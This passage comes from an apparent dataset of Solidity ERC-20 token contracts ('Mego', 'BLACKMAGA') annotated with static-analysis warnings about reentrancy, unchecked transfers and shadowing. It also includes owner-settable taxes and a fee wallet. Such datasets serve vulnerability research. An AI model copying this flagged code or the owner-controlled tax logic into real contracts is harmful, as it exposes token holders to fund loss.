_owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Mego is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 09826e1): Mego._taxWallet should be immutable \n\t// Recommendation for 09826e1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 20;\n\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 343c0a5): Mego._finalBuyTax should be constant \n\t// Recommendation for 343c0a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0625b81): Mego._finalSellTax should be constant \n\t// Recommendation for 0625b81: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 1;\n\n uint256 private _reduceSellTaxAt = 1;\n\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Mego\";\n\n string private constant _symbol = unicode\"MEGO\";\n\n uint256 public _maxTxAmount = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 125aca3): Mego._taxSwapThreshold should be constant \n\t// Recommendation for 125aca3: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0b86ee): Mego._maxTaxSwap should be constant \n\t// Recommendation for a0b86ee: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4e90f04): Mego.caBlockLimit should be constant \n\t// Recommendation for 4e90f04: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5fa561b): Mego.caLimit should be constant \n\t// Recommendation for 5fa561b: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7F767904fbdBfe8f4e7f9192A73FfA9cb194A66a);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 68fb630): Mego.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 68fb630: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8c0a611): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8c0a611: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2b6b522): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2b6b522: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8c0a611\n\t\t// reentrancy-benign | ID: 2b6b522\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8c0a611\n\t\t// reentrancy-benign | ID: 2b6b522\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc3ffae): Mego._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cc3ffae: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2b6b522\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8c0a611\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9a76ce0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9a76ce0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d1fc6ed): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d1fc6ed: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 759484c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 759484c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 9a76ce0\n\t\t\t\t// reentrancy-eth | ID: d1fc6ed\n\t\t\t\t// reentrancy-eth | ID: 759484c\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9a76ce0\n\t\t\t\t\t// reentrancy-eth | ID: d1fc6ed\n\t\t\t\t\t// reentrancy-eth | ID: 759484c\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: d1fc6ed\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: d1fc6ed\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 9a76ce0\n\t\t\t\t// reentrancy-eth | ID: 759484c\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9a76ce0\n\t\t\t\t\t// reentrancy-eth | ID: 759484c\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 759484c\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 9a76ce0\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 759484c\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 759484c\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 9a76ce0\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8c0a611\n\t\t// reentrancy-events | ID: 9a76ce0\n\t\t// reentrancy-benign | ID: 2b6b522\n\t\t// reentrancy-eth | ID: d1fc6ed\n\t\t// reentrancy-eth | ID: 759484c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: bbca8c2): Missing events for critical arithmetic parameters.\n\t// Recommendation for bbca8c2: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: bbca8c2\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: bbca8c2\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: bbca8c2\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: bbca8c2\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: bbca8c2\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 14aab33): Mego.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 14aab33: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 14aab33\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8c0a611\n\t\t// reentrancy-events | ID: 9a76ce0\n\t\t// reentrancy-eth | ID: d1fc6ed\n\t\t// reentrancy-eth | ID: 759484c\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a325947): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a325947: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ce6e8b5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ce6e8b5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bdb6b7e): Mego.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for bdb6b7e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0e6e140): Mego.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0e6e140: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 692ecf8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 692ecf8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: a325947\n\t\t// reentrancy-benign | ID: ce6e8b5\n\t\t// reentrancy-eth | ID: 692ecf8\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: a325947\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: a325947\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: ce6e8b5\n\t\t// unused-return | ID: 0e6e140\n\t\t// reentrancy-eth | ID: 692ecf8\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ce6e8b5\n\t\t// unused-return | ID: bdb6b7e\n\t\t// reentrancy-eth | ID: 692ecf8\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: ce6e8b5\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 692ecf8\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: ce6e8b5\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10069.sol",
"size_bytes": 22084,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BLACKMAGA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a3ea444): BLACKMAGA._taxWallet should be immutable \n\t// Recommendation for a3ea444: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2790bc2): BLACKMAGA._initialBuyTax should be constant \n\t// Recommendation for 2790bc2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c98584): BLACKMAGA._initialSellTax should be constant \n\t// Recommendation for 1c98584: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 24;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4d4d888): BLACKMAGA._reduceBuyTaxAt should be constant \n\t// Recommendation for 4d4d888: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0d1dee7): BLACKMAGA._reduceSellTaxAt should be constant \n\t// Recommendation for 0d1dee7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 83b7b1a): BLACKMAGA._preventSwapBefore should be constant \n\t// Recommendation for 83b7b1a: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Black MAGA\";\n\n string private constant _symbol = unicode\"$BLACK\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: dd8c183): BLACKMAGA._taxSwapThreshold should be constant \n\t// Recommendation for dd8c183: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ee0a37d): BLACKMAGA._maxTaxSwap should be constant \n\t// Recommendation for ee0a37d: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x2c9b408A0b7c4A76657709deDb3fb4D8acb9487a);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e32c540): BLACKMAGA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e32c540: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0f1e0e1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0f1e0e1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c7446fa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c7446fa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0f1e0e1\n\t\t// reentrancy-benign | ID: c7446fa\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0f1e0e1\n\t\t// reentrancy-benign | ID: c7446fa\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: deea56a): BLACKMAGA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for deea56a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c7446fa\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0f1e0e1\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5aab25f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5aab25f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a40e065): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a40e065: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 5aab25f\n\t\t\t\t// reentrancy-eth | ID: a40e065\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 5aab25f\n\t\t\t\t\t// reentrancy-eth | ID: a40e065\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a40e065\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a40e065\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a40e065\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 5aab25f\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a40e065\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a40e065\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 5aab25f\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// 